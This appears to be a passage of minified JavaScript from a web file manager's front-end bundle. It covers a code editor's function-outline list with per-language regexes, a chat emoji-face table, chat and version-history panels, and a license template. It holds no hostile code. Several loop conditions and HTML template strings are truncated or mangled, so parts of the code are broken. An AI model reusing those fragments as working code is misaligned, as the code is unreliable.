27:this.selectFunction(t),this.$search.val(""),this.searchChange(),this.editorMain.focus(),stopPP(e);break;case 13:this.editorMain.focus(),stopPP(e);break;default:this.searchChange()}},"listMouseEvent":function(e,t){var i=this.$listBox,n="mouseIsDown";switch(e.type){case"mouseover":i.hasClass(n)?this.selectFunction(t):t.addClass("row-hover");break;case"mousedown":this.selectFunction(t),i.addClass(n);break;case"mouseout":t.removeClass("row-hover");break;case"mouseup":i.removeClass(n)}},"reloadList":function(){var e=this.editor,t=function t(e){return _.trim(e).replace(/(\{$)/,"")},i=this.listMake(e.getValue(),e.kod.mode);if(!_.isArray(i)||0==i.length)return this.$listBox.html(this.listEmpty);var n=e.getCursorPosition().row;this.listHtml="";for(var a=0;a=o.start.row&&i[a+1].range&&n=o.start.row&&(r.type+=" row-select");var s=o.start.row+","+o.start.column+","+o.end.row+","+o.end.column,l=t(t(r.theMatch)).substr(0,150);this.listHtml+='\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t'+this.outStr(r.name)+"\n\t\t\t\t
    "}}this.selectIntoView(),this.functionSearch(!0)},"functionSearch":function(e){var i=this.$search.val();if(this.listHtml){if(!i||""==i)return this.$listBox.html(this.listHtml),void this.selectIntoView();var t=$("
    "+this.listHtml+"
    ");t.find(".cell").each(function(){var e=$(this).text(),t=e.toLowerCase().indexOf(i.toLowerCase());-1!=t?(e=e.substr(0,t)+""+e.substr(t,i.length)+""+e.substr(t+i.length),$(this).html(e)):$(this).parent().remove()}),this.$listBox.html(t.html()),e||this.selectFunction($(this.$listBox.find(".list-row").get(0)))}else this.$listBox.html(this.listEmpty)},"selectFunction":function(e){if(1==e.length){this.$listBox.find(".list-row").removeClass("row-select"),e.addClass("row-select");var t=e.attr("data-range").split(","),i={"start":{"row":parseInt(t[0]),"column":parseInt(t[1])},"end":{"row":parseInt(t[2]),"column":parseInt(t[3])}};this.editor.revealRange(i),this.$search.focusPose()}},"selectIntoView":function(){var e=this.$listBox;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),n=e.find(".row-select").index(),a=e.find(".list-row:eq(0)").outerHeight(),r=e.scrollTop();n*a=c&&l.posStart<=c+o[d].length;)n[s].range={"start":{"row":d,"column":l.posStart-c},"end":{"row":d,"column":l.posEnd-c}},l=n[++s];c=c+o[d].length+1}return n}},"regExec":function(e,t){var i=e.match(t.reg);if(i){for(var n=[],a=i.length,r=0,o=e,s=0;s/gi,">")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"php":[{"reg":/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,"regName":/.*function\s+(.*\))/,"regIndex":1,"typeExtents":{"function-value":/\s*(private|protected)\s*/,"function-var":/\s*(public)\s*/},"type":"function"},{"reg":/\s*class\s+(\w*)\s*.*\{/g,"regName":/\s*class\s+(\w*)\s*.*\{/,"regIndex":1,"type":"class"}],"javascript":[{"reg":/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-var"},{"reg":/\s*function[\*\s]+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*function[\*\s]+([\w\s]+)\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-define"},{"reg":/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"}],"python":[{"reg":/\s*class\s+(\w+)\s*\(/g,"regName":/\s*class\s+(\w+)\s*\(/,"regIndex":1,"type":"class"},{"reg":/\s*def\s+(\w+)\s*\(.*\)/g,"regName":/\s*def\s+(\w+)\s*\(.*\)/,"regIndex":1,"type":"function"}],"ruby":[{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"},{"reg":/\s*def\s+(\w+)\s*/g,"regName":/\s*def\s+(\w+)\s*/,"regIndex":1,"type":"function"}],"golang":[{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"},{"reg":/\s*func\s+(\w+)\s*.*\{/g,"regName":/\s*func\s+(\w+)\s*/,"regIndex":1,"type":"function"}],"java":[{"reg":/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,"regName":/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,"regIndex":3,"type":"function"},{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"}],"csharp":[{"reg":/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,"regName":/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,"regIndex":2,"type":"function"},{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"}],"actionscript":[{"reg":/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,"regName":/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,"regIndex":1,"type":"function"},{"reg":/\s*class\s+(\w+)\s*.*\{/g,"regName":/\s*class\s+(\w+)\s*.*\{/,"regIndex":1,"type":"class"}],"objectivec":[{"reg":/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,"regName":/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,"regIndex":1,"type":"function"},{"reg":/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,"regName":/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,"regIndex":1,"type":"function"},{"reg":/@implementation\s+(\w*)/g,"regName":/@implementation\s+(\w*)/,"regIndex":1,"type":"class"},{"reg":/#pragma\s+(mark\s+)?(.*)/g,"regName":/#pragma\s+(mark\s+)?(.*)/,"regIndex":2,"type":"mark"}],"c_cpp":[{"reg":/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s+(\w+)\s*\(/,"regIndex":1,"type":"function"},{"reg":/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s*(\w+)::~?(\w+)\s*\(/,"regIndex":2,"type":"function function-define"},{"reg":/\s*class\s+(\w+)\s*:/g,"regName":/\s*class\s+(\w+)\s*:/,"regIndex":1,"type":"class"}]}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='',e,!1);this.$panel=$(t).insertAfter(this.$emojiBtn)},"display":function(e){var t=this;if(e){this.$emojiBtn.addClass("panel-open"),this.$panel.removeClass("hidden"),this.$panel.fadeIn(150),this.displayFirst||(this.displayFirst=!0,this.$panel.find(".perfectScroll").perfectScroll(),this.$panel.find(".tab-item").first().click());var i=_.extend({"of":this.$emojiBtn,"at":"left bottom","my":"left top","collision":"flip"},this.positionAt);this.$panel.position(i)}else this.$emojiBtn.removeClass("panel-open"),this.$panel.fadeOut(150,function(){t.$panel&&t.$panel.addClass("hidden")})},"bindEvent":function(){var a=this;this.$emojiBtn.bind("click",function(){var e=a.$panel.hasClass("hidden");a.display(e)});var r=function r(e){if(!$.targetParent(e,a.$emojiBtn)){var t=$.targetParent(e,".emoji-panel"),i=a.$emojiBtn.parent().find(".emoji-panel");if(t&&t.is(i)){var n=$.targetParent(e,".item-face");n&&(a.display(!1),a.parent.insertText(n.attr("data-text")))}else a.display(!1)}};$(document).bind("click",r),this.bind("onRemove",function(){$(document).unbind("click",r)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.type="qq",this.name=LNG["common.faceDefault"]},"htmlPanel":function(){return this.makeHtmlPanel()},"toText":function(e){return e},"toHtml":function(e){return this.parseToHtml(e)},"faceArr":[{"id":"1_smile","cn":"微笑","hk":"微笑","us":"Smile","code":"/::)","web_code":"/微笑"},{"id":"2_grimace","cn":"撇嘴","hk":"撇嘴","us":"Grimace","code":"/::~","web_code":"/撇嘴"},{"id":"3_drool","cn":"色","hk":"色","us":"Drool","code":"/::B","web_code":"/色"},{"id":"4_scowl","cn":"发呆","hk":"發呆","us":"Scowl","code":"/::|","web_code":"/发呆"},{"id":"5_coolguy","cn":"得意","hk":"得意","us":"CoolGuy","code":"/:8-)","web_code":"/得意"},{"id":"6_sob","cn":"流泪","hk":"流淚","us":"Sob","code":"/::<","web_code":"/流泪"},{"id":"7_shy","cn":"害羞","hk":"害羞","us":"Shy","code":"/::$","web_code":"/害羞"},{"id":"8_silent","cn":"闭嘴","hk":"閉嘴","us":"Silent","code":"/::X","web_code":"/闭嘴"},{"id":"9_sleep","cn":"睡","hk":"睡","us":"Sleep","code":"/::Z","web_code":"/睡"},{"id":"10_cry","cn":"大哭","hk":"大哭","us":"Cry","code":"/::'(","web_code":"/大哭"},{"id":"11_awkward","cn":"尴尬","hk":"尷尬","us":"Awkward","code":"/::-|","web_code":"/尴尬"},{"id":"12_angry","cn":"发怒","hk":"發怒","us":"Angry","code":"/::@","web_code":"/发怒"},{"id":"13_tongue","cn":"调皮","hk":"調皮","us":"Tongue","code":"/::P","web_code":"/调皮"},{"id":"14_grin","cn":"呲牙","hk":"呲牙","us":"Grin","code":"/::D","web_code":"/呲牙"},{"id":"15_surprise","cn":"惊讶","hk":"驚訝","us":"Surprise","code":"/::O","web_code":"/惊讶"},{"id":"16_frown","cn":"难过","hk":"難過","us":"Frown","code":"/::(","web_code":"/难过"},{"id":"17_ruthless","cn":"酷","hk":"酷","us":"Ruthless","code":"/::+","web_code":"/酷"},{"id":"18_blush","cn":"冷汗","hk":"冷汗","us":"Blush","code":"/:--b","web_code":"/冷汗"},{"id":"19_scream","cn":"抓狂","hk":"抓狂","us":"Scream","code":"/::Q","web_code":"/抓狂"},{"id":"20_puke","cn":"吐","hk":"吐","us":"Puke","code":"/::T","web_code":"/吐"},{"id":"21_chuckle","cn":"偷笑","hk":"偷笑","us":"Chuckle","code":"/:,@P","web_code":"/偷笑"},{"id":"22_joyful","cn":"愉快","hk":"愉快","us":"Joyful","code":"/:,@-D","web_code":"/可爱"},{"id":"23_slight","cn":"白眼","hk":"白眼","us":"Slight","code":"/::d","web_code":"/白眼"},{"id":"24_smug","cn":"傲慢","hk":"傲慢","us":"Smug","code":"/:,@o","web_code":"/傲慢"},{"id":"25_hungry","cn":"饥饿","hk":"饑餓","us":"Hungry","code":"/::g","web_code":"/饥饿"},{"id":"26_drowsy","cn":"困","hk":"累","us":"Drowsy","code":"/:|-)","web_code":"/困"},{"id":"27_panic","cn":"惊恐","hk":"驚恐","us":"Panic","code":"/::!","web_code":"/惊恐"},{"id":"28_sweat","cn":"流汗","hk":"流汗","us":"Sweat","code":"/::L","web_code":"/流汗"},{"id":"29_laugh","cn":"憨笑","hk":"大笑","us":"Laugh","code":"/::>","web_code":"/憨笑"},{"id":"30_commando","cn":"悠闲","hk":"悠閑","us":"Commando","code":"/::,@","web_code":"/大兵"},{"id":"31_determined","cn":"奋斗","hk":"奮鬥","us":"Determined","code":"/:,@f","web_code":"/奋斗"},{"id":"32_scold","cn":"咒骂","hk":"咒罵","us":"Scold","code":"/::-S","web_code":"/咒骂"},{"id":"33_shocked","cn":"疑问","hk":"疑問","us":"Shocked","code":"/:?","web_code":"/疑问"},{"id":"34_shhh","cn":"嘘","hk":"噓","us":"Shhh","code":"/:,@x","web_code":"/嘘"},{"id":"35_dizzy","cn":"晕","hk":"暈","us":"Dizzy","code":"/:,@@","web_code":"/晕"},{"id":"36_tormented","cn":"疯了","hk":"瘋了","us":"Tormented","code":"/::8","web_code":"/折磨"},{"id":"37_toasted","cn":"衰","hk":"衰","us":"Toasted","code":"/:,@!","web_code":"/衰"},{"id":"38_skull","cn":"骷髅","hk":"骷髏頭","us":"Skull","code":"/:!!!","web_code":"/骷髅"},{"id":"39_hammer","cn":"敲打","hk":"敲打","us":"Hammer","code":"/:xx","web_code":"/敲打"},{"id":"40_wave","cn":"再见","hk":"再見","us":"Wave","code":"/:bye","web_code":"/再见"},{"id":"41_speechless","cn":"擦汗","hk":"擦汗","us":"Speechless","code":"/:wipe","web_code":"/擦汗"},{"id":"42_nosepick","cn":"抠鼻","hk":"摳鼻","us":"NosePick","code":"/:dig","web_code":"/抠鼻"},{"id":"43_clap","cn":"鼓掌","hk":"鼓掌","us":"Clap","code":"/:handclap","web_code":"/鼓掌"},{"id":"44_shame","cn":"糗大了","hk":"羞辱","us":"Shame","code":"/:&-(","web_code":"/糗大了"},{"id":"45_trick","cn":"坏笑","hk":"壞笑","us":"Trick","code":"/:B-)","web_code":"/坏笑"},{"id":"46_bah-l","cn":"左哼哼","hk":"左哼哼","us":"Bah!L","code":"/:<@","web_code":"/左哼哼"},{"id":"47_bah-r","cn":"右哼哼","hk":"右哼哼","us":"Bah!R","code":"/:@>","web_code":"/右哼哼"},{"id":"48_yawn","cn":"哈欠","hk":"哈欠","us":"Yawn","code":"/::-O","web_code":"/哈欠"},{"id":"49_pooh-pooh","cn":"鄙视","hk":"鄙視","us":"Pooh-pooh","code":"/:>-|","web_code":"/鄙视"},{"id":"50_shrunken","cn":"委屈","hk":"委屈","us":"Shrunken","code":"/:P-(","web_code":"/委屈"},{"id":"51_tearingup","cn":"快哭了","hk":"快哭了","us":"TearingUp","code":"/::'|","web_code":"/快哭了"},{"id":"52_sly","cn":"阴险","hk":"陰險","us":"Sly","code":"/:X-)","web_code":"/阴险"},{"id":"53_kiss","cn":"亲亲","hk":"親親","us":"Kiss","code":"/::*","web_code":"/亲亲"},{"id":"54_wrath","cn":"吓","hk":"嚇","us":"Wrath","code":"/:@x","web_code":"/吓"},{"id":"55_whimper","cn":"可怜","hk":"可憐","us":"Whimper","code":"/:8*","web_code":"/可怜"},{"id":"56_cleaver","cn":"菜刀","hk":"菜刀","us":"Cleaver","code":"/:pd","web_code":"/菜刀"},{"id":"57_watermelon","cn":"西瓜","hk":"西瓜","us":"Watermelon","code":"/:","web_code":"/西瓜"},{"id":"58_beer","cn":"啤酒","hk":"啤酒","us":"Beer","code":"/:beer","web_code":"/啤酒"},{"id":"59_basketball","cn":"篮球","hk":"籃球","us":"Basketball","code":"/:basketb","web_code":"/篮球"},{"id":"60_pingpong","cn":"乒乓","hk":"乒乓","us":"PingPong","code":"/:oo","web_code":"/乒乓"},{"id":"61_coffee","cn":"咖啡","hk":"咖啡","us":"Coffee","code":"/:coffee","web_code":"/咖啡"},{"id":"62_rice","cn":"饭","hk":"飯","us":"Rice","code":"/:eat","web_code":"/饭"},{"id":"63_pig","cn":"猪头","hk":"豬頭","us":"Pig","code":"/:pig","web_code":"/猪头"},{"id":"64_rose","cn":"玫瑰","hk":"玫瑰","us":"Rose","code":"/:rose","web_code":"/玫瑰"},{"id":"65_fade","cn":"凋谢","hk":"枯萎","us":"Wilt","code":"/:fade","web_code":"/凋谢"},{"id":"66_lips","cn":"嘴唇","hk":"嘴唇","us":"Lips","code":"/:showlove","web_code":"/示爱"},{"id":"67_heart","cn":"爱心","hk":"愛心","us":"Heart","code":"/:heart","web_code":"/爱心"},{"id":"68_brokenheart","cn":"心碎","hk":"心碎","us":"BrokenHeart","code":"/:break","web_code":"/心碎"},{"id":"69_cake","cn":"蛋糕","hk":"蛋糕","us":"Cake","code":"/:cake","web_code":"/蛋糕"},{"id":"70_lightning","cn":"闪电","hk":"閃電","us":"Lightning","code":"/:li","web_code":"/闪电"},{"id":"71_bomb","cn":"炸弹","hk":"炸彈","us":"Bomb","code":"/:bome","web_code":"/炸弹"},{"id":"72_dagger","cn":"刀","hk":"刀","us":"Dagger","code":"/:kn","web_code":"/刀"},{"id":"73_soccer","cn":"足球","hk":"足球","us":"Soccer","code":"/:footb","web_code":"/足球"},{"id":"74_ladybug","cn":"瓢虫","hk":"甲蟲","us":"Ladybug","code":"/:ladybug","web_code":"/瓢虫"},{"id":"75_poop","cn":"便便","hk":"便便","us":"Poop","code":"/:shit","web_code":"/便便"},{"id":"76_moon","cn":"月亮","hk":"月亮","us":"Moon","code":"/:moon","web_code":"/月亮"},{"id":"77_sun","cn":"太阳","hk":"太陽","us":"Sun","code":"/:sun","web_code":"/太阳"},{"id":"78_gift","cn":"礼物","hk":"禮物","us":"Gift","code":"/:gift","web_code":"/礼物"},{"id":"79_hug","cn":"拥抱","hk":"擁抱","us":"Hug","code":"/:hug","web_code":"/拥抱"},{"id":"80_thumbsup","cn":"强","hk":"強","us":"ThumbsUp","code":"/:strong","web_code":"/强"},{"id":"81_thumbsdown","cn":"弱","hk":"弱","us":"ThumbsDown","code":"/:weak","web_code":"/弱"},{"id":"82_shake","cn":"握手","hk":"握手","us":"Shake","code":"/:share","web_code":"/握手"},{"id":"83_peace","cn":"胜利","hk":"勝利","us":"Peace","code":"/:v","web_code":"/胜利"},{"id":"84_fight","cn":"抱拳","hk":"抱拳","us":"Fight","code":"/:@)","web_code":"/抱拳"},{"id":"85_beckon","cn":"勾引","hk":"勾引","us":"Beckon","code":"/:jj","web_code":"/勾引"},{"id":"86_fist","cn":"拳头","hk":"拳頭","us":"Fist","code":"/:@@","web_code":"/拳头"},{"id":"87_pinky","cn":"差劲","hk":"差勁","us":"Pinky","code":"/:bad","web_code":"/差劲"},{"id":"88_rockon","cn":"爱你","hk":"愛你","us":"RockOn","code":"/:lvu","web_code":"/爱你"},{"id":"89_nuh-uh","cn":"NO","hk":"NO","us":"Nuh-uh","code":"/:no","web_code":"/NO"},{"id":"90_ok","cn":"OK","hk":"OK","us":"OK","code":"/:ok","web_code":"/OK"},{"id":"91_inlove","cn":"爱情","hk":"愛情","us":"InLove","code":"/:love","web_code":"/爱情"},{"id":"92_blowkiss","cn":"飞吻","hk":"飛吻","us":"Blowkiss","code":"/:","web_code":"/飞吻"},{"id":"93_waddle","cn":"跳跳","hk":"跳跳","us":"Waddle","code":"/:jump","web_code":"/跳跳"},{"id":"94_tremble","cn":"发抖","hk":"發抖","us":"Tremble","code":"/:shake","web_code":"/发抖"},{"id":"95_aaagh","cn":"怄火","hk":"噴火","us":"Aaagh!","code":"/:","web_code":"/呕火"},{"id":"96_twirl","cn":"转圈","hk":"轉圈","us":"Twirl","code":"/:circle","web_code":"/转圈"},{"id":"97_kotow","cn":"磕头","hk":"磕頭","us":"Kotow","code":"/:kotow","web_code":"/磕头"},{"id":"98_dramatic","cn":"回头","hk":"回頭","us":"Dramatic","code":"/:turn","web_code":"/回头"},{"id":"99_jumprope","cn":"跳绳","hk":"跳繩","us":"JumpRope","code":"/:skip","web_code":"/跳绳"},{"id":"100_surrender","cn":"投降","hk":"投降","us":"Surrender","code":"/:oY","web_code":"/挥手"},{"id":"101_hooray","cn":"激动","hk":"激動","us":"Hooray","code":"/:#-0","web_code":"/激动"},{"id":"102_meditate","cn":"乱舞","hk":"亂舞","us":"Meditate","code":"/:hiphot","web_code":"/街舞"},{"id":"103_smooch","cn":"献吻","hk":"獻吻","us":"Smooch","code":"/:kiss","web_code":"/献吻"},{"id":"104_taichi-l","cn":"左太极","hk":"左太極","us":"TaiChi L","code":"/:<&","web_code":"/左太极"},{"id":"105_taichi-r","cn":"右太极","hk":"右太極","us":"TaiChi R","code":"/:&>","web_code":"/右太极"},{"id":"106_hey","cn":"嘿哈","hk":"吼嘿","us":"Hey","ext":"png"},{"id":"107_facepalm","cn":"捂脸","hk":"掩面","us":"Facepalm","ext":"png"},{"id":"108_smirk","cn":"奸笑","hk":"奸笑","us":"Smirk","ext":"png"},{"id":"109_smart","cn":"机智","hk":"機智","us":"Smart","ext":"png"},{"id":"110_moue","cn":"皱眉","hk":"皺眉","us":"Moue","ext":"png"},{"id":"111_yeah","cn":"耶","hk":"歐耶","us":"Yeah!","ext":"png"},{"id":"112_packet","cn":"红包","hk":"Packet","us":"Packet","ext":"png"},{"id":"113_chick","cn":"鸡","hk":"小雞","us":"Chick","ext":"png"},{"id":"onlooker","cn":"吃瓜","hk":"吃西瓜","us":"Onlooker","ext":"png"},{"id":"goForIt","cn":"加油","hk":"加油","us":"GoForIt","ext":"png"},{"id":"sweats","cn":"汗","hk":"汗","us":"Sweats","ext":"png"},{"id":"omg","cn":"天啊","hk":"天啊","us":"OMG","ext":"png"},{"id":"emm","cn":"Emm","hk":"一言難盡","us":"Emm","ext":"png"},{"id":"respect","cn":"社会社会","hk":"失敬失敬","us":"Respect","ext":"png"},{"id":"doge","cn":"旺柴","hk":"旺柴","us":"Doge","ext":"png"},{"id":"noProb","cn":"好的","hk":"好的","us":"NoProb","ext":"png"},{"id":"myBad","cn":"打脸","hk":"打臉","us":"MyBad","ext":"png"},{"id":"wow","cn":"哇","hk":"哇","us":"Wow","ext":"png"},{"emoji":"😄","cn":"笑脸"},{"emoji":"😷","cn":"生病"},{"emoji":"😂","cn":"破涕为笑"},{"emoji":"😝","cn":"吐舌"},{"emoji":"😳","cn":"脸红"},{"emoji":"😱","cn":"恐惧"},{"emoji":"😔","cn":"失望"},{"emoji":"😒","cn":"无语"},{"emoji":"🙄"},{"emoji":"🙃"},{"emoji":"😩"},{"emoji":"🤔"},{"emoji":"🌚"},{"emoji":"👻","cn":"鬼魂"},{"emoji":"🙏","cn":"合十"},{"emoji":"💪","cn":"强壮"},{"emoji":"🎉","cn":"庆祝"},{"emoji":"🎁","cn":"礼物"},{"emoji":"🙈"},{"emoji":"👊"},{"emoji":"🙌"},{"emoji":"💯"},{"emoji":"💃"},{"emoji":"🍻"}],"parseFaceMap":function(){if(this.faceMap)return this.faceMap;var e={"imageShow":STATIC_PATH+"images/chat/qqold_png/{id}.{ext}","imageShowExt":"png","imagePanel":STATIC_PATH+"images/chat/qqold_png/{id}.{ext}","imagePanelExt":"png"},n={},a=e.imageShow,r=e.imageShowExt,o=e.imagePanel||e.imageShow,s=e.imagePanelExt||e.imageShowExt;_.each(this.faceArr,function(e){if(!e.emoji){var t=e.ext||r,i=e.ext||s;e.imageShow=a.replace("{id}",e.id),e.imageShow=e.imageShow.replace("{ext}",t),e.imagePanel=o.replace("{id}",e.id),e.imagePanel=e.imagePanel.replace("{ext}",i),e.cn&&(n["["+e.cn+"]"]=e),e.us&&(n["["+e.us+"]"]=e),e.hk&&(n["["+e.hk+"]"]=e),e.code&&(n[e.code]=e),e.web_code&&(n[e.web_code]=e)}}),this.faceMap=n},"makeHtmlPanel":function(){var o="",s=G.lang||"zh-CN";return s="zh-CN"==(s="zh-TW"==s?"hk":s)?"cn":"us",this.parseFaceMap(),_.each(this.faceArr,function(e){var t,i,n,a;if(e.emoji)t="item-face ripple-item item-face-emoji",n=e.emoji,i=e[s]||e.emoj,a=e.emoji;else{var r="emoji-qq-"+(e.us||"");r=r.toLowerCase().replace(/[ !]/g,"_"),t="item-face ripple-item item-face-img item-face-"+e.id+" "+r,a="["+(i=e[s])+"]",n=''}e.dataText=a,o+=''+n+""}),o},"encodeReg":function(e){for(var t="?()|<>./+".split(""),i=0;i"}):e},t="";return this._each(this.faceArr,function(e){e.web_code&&(t+=this.encodeReg(e.web_code)+"|"),e.code&&(t+=this.encodeReg(e.code)+"|")}),e=n(e=n(e,t),"\\[(.+?)\\]")}})},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='
    \n\t
    \n\t\t\n\t\t',t+=i(n["explorer.panel.chatName"]),t+='\n\t\t(0 ',t+=i(n["explorer.table.items"]),t+=')\n\t
    \n
    \n
    \n\t\n\t
    \n
    \n
    \n\t
    \n\t\t\x3c!-- --\x3e\n\t\t
    \n\t\t
    \n\t\t\t
    \n\t\t
    \n\t
    \n\t
    \n\t\t
    \n\t\t
    \n\t\t
    \n\t\t
    \n\t\t\n\t\t
    \n\t\t\t
    ',t+=i(n["explorer.panel.chat.send"]),t+='
    \n\t\t\t
    \n\t\t\t\t\n\t\t\t
    \n\t\t\t\n\t\t
    \t\t\n\t
    \n
    \n"}},function(e,t,i){"use strict";var l=i(0);e.exports=function(e){var i="",t=(e=e||{})._,n=e.data,a=l.$escape,r=e.LNG,o=l.$each,s=(e.item,e.i,e.menuType);return t.isEmpty(n.list)?(i+='
    ',i+=a(r["explorer.panel.chat.empty"]),i+="
    "):(i+=" ",o(n.list,function(e,t){i+='
    ',i+=e.userInfo,i+='
    ',i+=a(l.dateShow(e.createTime)),i+='
    ',e.parentComment&&(i+=' ',i+=a(r["explorer.panel.chat.reply"]),i+=" ",i+=e.parentComment.userInfo,i+=': ',i+=e.parentComment.content,i+=" "),i+=' ',i+=e.content,i+='
    '}),i+=" "),i}},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var a=n(r(106)),i=n(r(420));function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.pathAction=this.root.pathAction,this.$el=this.$(".tab-group-pan .panel-history"),this.pathInfo={},this.listenTo(this.parent,"tabChange.panel-history",this.reloadView),this.bindNotify()},"bindNotify":function(){var n=this;Events.bind("explorer.panel.history.change",function(e,t){if(t!=n){var i=n.pathInfo;_.get(i,"path")==e&&(n.pathInfo={},n.reloadView(i))}},this)},"reloadView":function(e,t,i){this.pathInfo.path!=e.path&&(this.initViewFinished||(this.initView(),this.initViewFinished=!0,this.$el.hide().delay(50).fadeIn(250)),this.serverData=!1,this.pathInfo=e,this.initViewList(e.path))},"initView":function(){this.rightMenu=new i["default"]({"parent":this}),this._delay(this.bindEvent,500)},"initViewList":function(t,e,i){var n=this,a={"path":t,"page":e||1,"pageNum":i||5},r=_.get(this.serverData,"pageInfo");!e&&r&&(a.page=r.page,a.pageNum=r.pageNum),this.pathModel.historyList(a,function(e){e&&e.code&&n.renderView(e.data,t)})},"renderView":function(e,t){var i=r(421),n=this,a={"data":e,"userInfo":this.root.path.userInfo};this.serverData=e,this.renderHtml(i,a,this.$(".content")),this.pageLoad(e.pageInfo,t),this.$(".menu-history-list-file").each(function(){$(this).data("fileItem",n.pathInfo)}),this.parent.resetTop()},"bindEvent":function(){var i=this,e=this.$el;e.delegate(".file-item.menu-history-list-file","dblclick",function(e){$.isEdit(e)||$.targetParent(e,".menu-trigger")||i.rightMenu.doAction("open",$(this))}),e.delegate(".new-version","click",function(e){var t=i.parent.historyBindFile.uploadNewVersion(i.pathInfo);i.listenToOnce(t,{"itemUploadSuccess":function(){i.initViewList(i.pathInfo.path)}})}),e.delegate(".version-refresh","click",function(e){i.initViewList(i.pathInfo.path)});var t=this.parent.rootSelector()+" .panel-history",n=_.bind(this.initViewList,this);i.rightMenu.bindHistoryItemMenu(t,n),i.bindEditDesc(e),a["default"].checkHistory(e)},"uploadVersionNotify":function(e,n){var a=this;this.listenToOnce(e,{"itemUploadSuccess":function(e,t){var i=_.get(e,"paramData.postParam.name");n.name==i&&(a.initViewList(n.path),a.changeNotify())}})},"changeNotify":function(){var e=this.pathInfo.path;Events.trigger("explorer.panel.history.change",e)},"bindEditDesc":function(e){var r=this;e.delegate(".file-item .detail .content","click",function(){if(!$(this).hasClass("on-edit")){var i=$(this).text();$(this).hasClass("placeholder")&&(i=""),$(this).attr("data-detail",i),$(this).addClass("on-edit"),$(this).html(''),$(this).removeClass("placeholder");var n=$(this).find("textarea"),a=$(this).parents(".file-item");n.val(i).autoTextarea({"maxHeight":120}),n.bind("blur",function(e){o(a,n.val())}),n.focusPose(),n.bind("keydown",function(e){var t=e.ctrlKey||e.shiftKey||e.altKey||e.metaKey;if("Escape"==e.key)o(a,i);else if("Enter"==e.key)return t?(n.textInsert("\n"),!0):(o(a,n.val()),stopPP(e))})}});var o=function o(e,t){var i=e.find(".detail .content"),n=i.attr("data-detail")||"",a={"path":e.parents(".file-history-content").attr("item-path"),"id":e.attr("item-id"),"detail":t};t!=n&&r.pathModel.historySetDetail(a,function(e){if(!e||!e.code)return Tips.tips(e);$(this).attr("data-detail",t),r.changeNotify()}),t?(i.html(htmlEncode(t)),i.removeClass("on-edit").removeClass("placeholder")):(i.html(LNG["explorer.fileDescAdd"]),i.removeClass("on-edit").addClass("placeholder"))}},"pageLoad":function(e,i){var n=this,t=this.$(".list-page"),a=[5,10,20];if(!e||e.totalNum<=a[0])return this.$el.addClass("page-empty"),t.html("");this.$el.removeClass("page-empty"),t.pageBox({"totalNum":e.totalNum,"pageTotal":e.pageTotal,"pageShow":1,"pageCurrent":e.page,"pageSize":e.pageNum,"pageSizeArray":a,"callback":function(e,t){n.initViewList(i,e,t)}})}})},function(e,t,i){"use strict";var c=i(0);e.exports=function(e){e=e||{};var t="",i=c.$escape,n=e.LNG,a=e.item,r=e.timeTo,o=e.window,s=e.timeToService,l=e.G;if(t+='
    ',t+=i(n["common.version.userLimitTitle"]),t+='
    ',t+=i(n["common.version.userUse"]),t+=': ',t+=i(a.userUse),t+='
    ',t+=i(n["common.version.userAllow"]),t+=': ',1e4<=a.userLimit?(t+=' ',t+=i(n["common.noLimit"]),t+=" "):(t+=" ",t+=i(a.userLimit),t+=" "),t+="
    ","A"==a.versionType&&(t+='
    ',t+=i(n["common.version.license"]),t+='
    ',t+=i(a.versionText),t+=" "),t+="
    ","A"!=a.versionType){if(t+='
    ',t+=i(n["common.version.userTitle"]),t+='
    ',a.user&&(t+='
    ',t+=i(n["common.version.userTo"]),t+=': ',t+=i(a.user),t+="
    "),t+=" ",a.timeTo){t+='
